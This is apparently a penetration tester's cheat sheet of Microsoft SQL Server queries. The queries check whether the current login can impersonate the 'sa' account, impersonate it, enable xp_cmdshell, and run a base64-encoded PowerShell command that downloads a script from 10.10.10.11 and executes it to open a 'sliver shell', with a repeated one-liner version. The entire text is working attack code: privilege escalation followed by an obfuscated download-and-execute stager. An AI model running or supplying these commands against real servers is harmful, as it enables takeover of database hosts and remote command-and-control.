Queries

1) Check if we can impersonate SA

SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sa');
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; 

2) Impersonate SA and enable xp_cmdshell and get sliver shell

EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 
EXEC xp_cmdshell 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='

One liner

EXECUTE AS LOGIN = 'sa';EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='